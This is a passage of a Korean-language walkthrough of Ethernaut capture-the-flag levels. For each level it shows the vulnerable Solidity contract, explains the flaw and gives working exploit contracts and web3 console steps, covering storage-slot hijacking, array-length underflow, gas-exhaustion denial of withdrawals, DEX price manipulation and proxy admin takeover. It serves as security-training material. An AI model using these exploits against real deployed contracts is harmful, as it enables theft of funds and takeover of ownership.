        //owner = address(_time);
        slot2_owner = address(uint160(_time));
    }
}

contract PreservationExploit {
    address target;
    LibraryContractHook hookLibrary;
    address attackerEOA;

    constructor (address _preservation) public {
        target = _preservation;
        hookLibrary = new LibraryContractHook();
        attackerEOA = msg.sender;
    }

    // run twice?
    function exploit() public {
        IPreservation(target).setFirstTime(uint256(address(hookLibrary)));

        IPreservation(target).setFirstTime(uint256(attackerEOA));
    }
}

> await contract.timeZone1Library();
'0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5'

> await contract.timeZone2Library();
'0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1'

> await contract.owner();
'0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F'

// LibraryContractHook Deploy

// PreservationExploit Deploy & call exploit()

await contract.timeZone1Library();
'0x67FeC8C9Ae98D7cfeeD4ef05F3E7c3A432AB59Ed'
await contract.timeZone2Library();
'0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1'
await contract.owner();
'0x--------------AttackerEOA---------------'

// Submit

# 17. Recovery

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

Recovery 컨트랙트는 SimpleToken 컨트랙트를 이용해 토큰을 생성했고, 해당 SimpleToken 컨트랙트는 receive() 함수를 통해 받은 ether * 10의 토큰을 반환해준다.

배포자는 SimpleToken에 0.001 ether를 보낸 후, 해당 컨트랙트의 주소를 잃어버린 상황이다.

이 상황에서 해당 주소로부터 0.001 ether를 찾아와야 한다.

Exploit

Get new instance를 통해 배포한 Recovery 컨트랙트를 Rinkeby Etherscan에서 검색한다.

해당 컨트랙트의 Internal Txns의 탭 내용 중 To가 Contract Creation인 Txn을 확인할 수 있다.

Contract Creation을 클릭하면, Recovery 컨트랙트에 의해 생성된 SimpleToken 컨트랙트를 확인할 수 있다.

SimpleToken의 Internal Txns를 보면, 해당 컨트랙트로 0.001 ether가 송신된 Txn을 찾을 수 있다. (이 때 From은 Ethernaut의 Level Address)

이후 아래와 같이, 대상 컨트랙트에 트랜잭션을 전송하여 destroy() 함수를 호출하면 된다.

  • selfdestruct(_to)를 통해 컨트랙트 destruct 후, 컨트랙트가 가진 잔고는 인자로 전달된 _to 로 전송
> let simpletoken = "[SimpleToken Contract Address]";

> await getBalance(simpletoken);
'0.001'

> let payload = web3.eth.abi.encodeFunctionCall({
    name: 'destroy',
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_to'
    }]
}, [player]);
'0x00f55d9d000000000000000000000000446e7871f0be73127feebdb959d49864043ef525'

> await sendTransaction({from: player, to:simpletoken, data: payload})

> await getBalance(simpletoken);
'0'

// Submit

# 18. Magic Number

WIP

# 19. Alien Codex

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

// Ownable-5.sol
pragma solidity ^0.5.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be aplied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address private _owner;
...

AlienCodex 컨트랙트의 ownership을 획득해야 한다.

해당 컨트랙트는 Ownable 컨트랙트를 상속하고 있어, 다음과 같은 스토리지(슬롯) 레이아웃을 갖게된다.

> await web3.eth.getStorageAt(contract.address, 0)    // slot0[0:20] Ownable::_owner (address) -> da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
                                              // slot0[20:21] : Ownable::contact (bool) -> false 0
'0x000000000000000000000000da5b3fb76c78b6edee6be8f11a1c31ecfb02b272'

> await contract.make_contact();

> await web3.eth.getStorageAt(contract.address, 0)    // slot0[0:20] Ownable::_owner (address) -> da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
                                              // slot0[20:21] : Ownable::contact (bool) -> true 1
'0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272'

> await web3.eth.getStorageAt(contract.address, 1)    // length of AlienCodex::codex (uint256)
'0x0000000000000000000000000000000000000000000000000000000000000000'

컨트랙트의 스토리지 영역은 2**256 개의 슬롯을 가지고 있으며, 각 슬롯은 32 바이트 크기를 가진다.

AlienCodex::retract() 및 AlienCodex::revise() 함수에 의해, 취약점이 발생

  • (1) AlienCodex::retract() 를 호출 시, length of AlienCodex::codex에 Integer Underflow가 발생하여 length가 2**256 - 1로 변경되어 모든 Slot이 할당된 것으로 인식

  • (2) AlienCodex::revise()를 이용해 모든 슬롯에 접근 및 Write 가능

Exploit

retract() 기반의 Integer Underflow를 통해, Dynamic Bytes32 Array의 크기값 변경(0 -> 0xffffff…)

> await web3.eth.getStorageAt(contract.address, 1)
'0x0000000000000000000000000000000000000000000000000000000000000000'

> await contract.retract()

> await web3.eth.getStorageAt(contract.address, 1)
'0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'

bytes32[] codex의 첫 슬롯 인덱스 주소를 통해, Slot 0의 상대적인 인덱스 획득

> web3.utils.keccak256(web3.utils.padLeft('0x1', 64))
'0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6'

> let arr_0 = web3.utils.toBN(web3.utils.keccak256(web3.utils.padLeft('0x1', 64)))

> let end_of_slot = web3.utils.toBN(2).pow(web3.utils.toBN(256)).sub(web3.utils.toBN(1)).sub(arr_0)

> let slot_0 = end_of_slot.add(web3.utils.toBN(1))

Slot 0 영역에 원하는 값(Player EOA) Overwrite

> let attackerBytes32 = web3.utils.padLeft(player, 64);

> attackerBytes32
'0x000000000000000000000000--------------AttackerEOA---------------'

> await contract.revise(slot_0, attackerBytes32);

> await web3.eth.getStorageAt(contract.address, 0)
'0x000000000000000000000000--------------AttackerEOA---------------'

// Submit

# 20. Deinal

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

시간이 지남에 따라 천천히 자금을 인출해주는 Denial 컨트랙트를 대상으로, owner가 자금을 출금하지 못하도록 해야 한다.

withdraw() 함수의 partner.call{value:amountToSend}(""); 구문 이후에 수행되는 owner.transfer(amountToSend); 구문이 제대로 동작하지 않도록 만들어야 한다.

withdraw() 함수는 컨트랙트의 전체 잔고 중 1%에 해당하는 금액을 파트너와 owner에게 전송하며, 공격자는 setWithdrawPartner()를 통해 출금 파트너로 등록할 수 있다.

solidity에서 ether를 송신하는 방법

  • transfer : gas 2300 소모 / 실패 시 error throwing
  • send : gas 2300 소모 / 결과로 true,false 반환
  • call : 인자로 설정된 gas나 전달된 gas를 모두 전달 / 결과로 true,false 반환

solidity에서 Error 처리 방법

  • require : 실행 전에 입력이나 조건을 검증할 때 사용 / 가스비 환불 O
  • revert : require와 유사 / 가스비 환불 X
  • assert : 절대 false가 되서는 안되는 코드를 체크할 때 사용 / 가스비 환불 X

Exploit

__partner.call{value:amountToSend}(""); 구문에서 가스비를 모두 소모하게 하여, owner.transfer(amountToSend); 구문에 out of gas 에러가 발생하도록 하여 출금을 막을 수 있다.

파트너로 지정된 공격자 컨트랙트에서 가스비를 소모할 수 있는 방법은 다음과 같이 두가지가 있다.

  • (1) assert(false) 사용
  • (2) 가스비가 모두 소모될때까지 무한루프 실행
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract DenialExploit {
    receive() external payable {
        // assert(false);
        // or
        for(;;){}
    }
}

> await contract.setWithdrawPartner("[Exploit Contract Address]")

// Submit

# 21. Shop

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {   // check
      isSold = true;                            // isSold <- true
      price = _buyer.price();                   // set
    }
  }
}

공격자는 isSold 값을 true로 만들고, price도 100보다 낮게 설정하는 것이 목표이다.

_buyer.price()와 같이 인터페이스를 사용하는데, 받아온 값을 변수 등에 저장하지 않고 재호출하기 때문에 취약점이 발생한다.

Exploit

  • if (_buyer.price() >= price && !isSold) -> isSold가 false 이고, 인터페이스를 통해 받아온 값이 현재 price(100)이상인 경우 조건 통과
  • isSold = true; -> isSold를 true로 변경
  • price = _buyer.price(); -> 인터페이스를 통해 값을 다시 받아와 price 값을 재설정

isSold true / false 여부에 따라 인터페이스에서 값을 다르게 전송해주면 된다!

isSold가 false일 때는, 조건문 통과를 위해 초기 price값인 100 반환

isSold가 true일 때는, 조건문 통과 후 price를 새로 설정하는 상황이기 때문에 0 반환

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IShop {
  function buy() external;
  function price() external view returns (uint);
  function isSold() external view returns (bool);
}

contract ShopExploit {
  address target;

  constructor (address _target) public {
      target = _target;
  }

  function price() public view returns (uint) {
      return IShop(target).isSold() ? 0 : 100;
  }

  function exploit() public {
      IShop(target).buy();
  }
}

// ShopExploit Contract Deploy

// exploit()

> await contract.price()
0

> await contract.isSold()
true

// Submit

# 22. Dex

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract Dex  {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor(address _token1, address _token2) public {
    token1 = _token1;
    token2 = _token2;
  }

  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swap_amount = get_swap_price(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swap_amount);
    IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
  }

  function add_liquidity(address token_address, uint amount) public{
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function get_swap_price(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(spender, amount);
    SwappableToken(token2).approve(spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}

Dex 컨트랙트는 두 개의 토큰(token1, token2) 스왑 기능을 지원하며 각 토큰을 100개씩 가지고 있으며, 공격자는 각 토큰을 10개씩 가지고 있다.

이 상황에서 Dex에 있는 두 토큰 중 1개라도 모두 공격자가 가져오는 것이 목표이다.

Dex::get_swap_price()에 의해 CPMM 기반의 Price Oracle을 지원하고 있으며, 충분한 유동성이 제공되지 않는 경우 Price Manipulation이 가능하다.

Exploit

> let token1 = await contract.token1()
> let token2 = await contract.token2()

// A:10 / B:10 -> A:0 / B:20
> let amountOfTokenA = await contract.balanceOf(token1, player)
> await contract.approve(contract.address, amountOfTokenA)
> await contract.swap(token1, token2, amountOfTokenA)

// A:0 / B:20 -> A:24 / B:0
> let amountOfTokenB = await contract.balanceOf(token2, player)
> await contract.approve(contract.address, amountOfTokenB)
> await contract.swap(token2, token1, amountOfTokenB)

// A:24 / B:0 -> A:0 / B:30
> amountOfTokenA = await contract.balanceOf(token1, player)
> await contract.approve(contract.address, amountOfTokenA)
> await contract.swap(token1, token2, amountOfTokenA)

// A:0 / B:30 -> A:41 / B:0
> amountOfTokenB = await contract.balanceOf(token2, player)
> await contract.approve(contract.address, amountOfTokenB)
> await contract.swap(token2, token1, amountOfTokenB)

// A:41 / B:0 -> A:0 / B:65
> amountOfTokenA = await contract.balanceOf(token1, player)
> await contract.approve(contract.address, amountOfTokenA)
> await contract.swap(token1, token2, amountOfTokenA)

// DEX Balance Check
> await contract.balanceOf(token1, contract.address)
110
> await contract.balanceOf(token2, contract.address)
45

// Attacker Balance Check
> await contract.balanceOf(token1, player)
0
> await contract.balanceOf(token2, player)
65

> await contract.get_swap_price(token2, token1, 45)
> 110

// A:0 / B:65 -> A:110 / B:21
> await contract.approve(contract.address, 45)
> await contract.swap(token2, token1, 45)

// Submit

# 23. Dex Two

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract DexTwo  {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor(address _token1, address _token2) public {
    token1 = _token1;
    token2 = _token2;
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swap_amount = get_swap_amount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swap_amount);
    IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
  }

  function add_liquidity(address token_address, uint amount) public{
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function get_swap_amount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(spender, amount);
    SwappableTokenTwo(token2).approve(spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}

이전 문제와 동일하지만, DexTwo::get_swap_amount()에서 토큰 검증하는 로직이 빠져있다.

  • require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

공격자가 만든 임의의 토큰으로 Price Manipulation이 가능하다!

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract SwappableTokenTwo is ERC20 {
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}

(1) name:Hack / symbol:H / initialSupply:40 을 입력하여 공격자의 토큰 생성 (0xA7019F158f3474ea0943A3005E78592E8B20eaf2)

(2) 해당 토큰 컨트랙트에서 DexTwo 컨트랙트로 토큰 전송 허가 - approve([DexTwoContract Address], 40)

(3) DexTwo 컨트랙트에 H 토큰의 유동성 공급 (10)

(4) 적은 유동성을 바탕으로 token1과 token2 Price Manipulation 가능 - swap()

> let token1 = await contract.token1()
> let token2 = await contract.token2()

> await contract.add_liquidity(token3, 10);

> await contract.swap(token3, token1, 10);

> await contract.swap(token3, token2, 10);

// DEX Balance Check
> await contract.balanceOf(token1, contract.address)
0
> await contract.balanceOf(token2, contract.address)
0

// Attacker Balance Check
> await contract.balanceOf(token1, player)
110
> await contract.balanceOf(token2, player)
110

// Submit

# 24. Puzzle Wallet

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

PuzzleWallet은 트랜잭션 수행 비용을 조금이라도 절감하기 위해, 여러 트랜잭션을 하나의 트랜잭션처럼 묶어서 실행하는 기능을 지원한다.

허가된 사용자 이외의 사용자가 사용하는 것을 방지하기 위해 2개의 역할을 부여하여 시스템을 운영한다.

  • (1) PuzzleProxy::admin : 해당 컨트랙트에서 버그 등이 발견된 경우 업그레이드를 수행할 수 있는 권한 (Proxy Pattern 기반)
  • (2) PuzzleWallet::owner : 컨트랙트를 사용할 수 있는 Whitelist를 제어할 수 있는 권한

이 상황에서 PuzzleProxy 컨트랙트의 admin의 값을 player의 주소로 변경하는 것이 목표이다.

Exploit

(1) PuzzleProxy::proposeNewAdmin()을 이용해 PuzzleWallet::owner 변경 (Inherited Storage Slot 0)

(2) PuzzleWallet::addToWhitelist()을 이용해 컨트랙트 제어 권한 획득

(3) PuzzleWallet::multicall()을 이용해 deposit()을 2번 호출

  • mutilcall( [deposit_payload, [mutlcall([deposit_payload])]] )

  • deposit을 위해 전송한 msg.value보다 더 많은 값(x2)으로 balances[] 조작 가능

(4) PuzzleWallet::execute()를 이용해 해당 컨트랙트의 잔액을 비움 (setMaxBalance()의 require 우회 목적)

(5) PuzzleWallet::setMaxBalance()를 이용해 PuzzleProxy::admin 변경 (Inherited Storage Slot 1)

// change PuzzleProxy.pendingAdmin (== PuzzleWallet.owner) to modify whitelist
await this.puzzleproxy.connect(attacker).proposeNewAdmin(attacker.address);

await this.puzzlewallet.connect(attacker).addToWhitelist(attacker.address);

// Current PuzzleWallet's balance = 0.001
console.log(web3.utils.fromWei(await web3.eth.getBalance(this.puzzlewallet.address), 'ether'));

let deposit_abi = {
  "inputs": [],
  "name": "deposit",
  "outputs": [],
  "stateMutability": "payable",
  "type": "function"
};

let execute_abi = {
  "inputs": [
    {
      "internalType": "address",
      "name": "to",
      "type": "address"
    },
    {
      "internalType": "uint256",
      "name": "value",
      "type": "uint256"
    },
    {
      "internalType": "bytes",
      "name": "data",
      "type": "bytes"
    }
  ],
  "name": "execute",
  "outputs": [],
  "stateMutability": "payable",
  "type": "function"
};

let multicall_abi = {
  "inputs": [
    {
      "internalType": "bytes[]",
      "name": "data",
      "type": "bytes[]"
    }
  ],
  "name": "multicall",
  "outputs": [],
  "stateMutability": "payable",
  "type": "function"
};


// execute() via multicall()
let deposit_payload = web3.eth.abi.encodeFunctionCall(deposit_abi, []);
let nested_desposit_payload_using_multicall = web3.eth.abi.encodeFunctionCall(multicall_abi, [[deposit_payload]]);

const multicall_list = [deposit_payload, nested_desposit_payload_using_multicall];
await this.puzzlewallet.connect(attacker).multicall(multicall_list, {value: ethers.utils.parseEther("0.001")});
console.log(web3.utils.fromWei(await web3.eth.getBalance(this.puzzlewallet.address), 'ether'));

await this.puzzlewallet.connect(attacker).execute(attacker.address, ethers.utils.parseEther("0.002"), []);

// change PuzzleWallet.maxBalance (== PuzzleProxy.admin)
await this.puzzlewallet.connect(attacker).setMaxBalance(attacker.address);

console.log("PuzzleProxy.admin : ", await this.puzzleproxy.admin());

# 25. Motorbike

WIP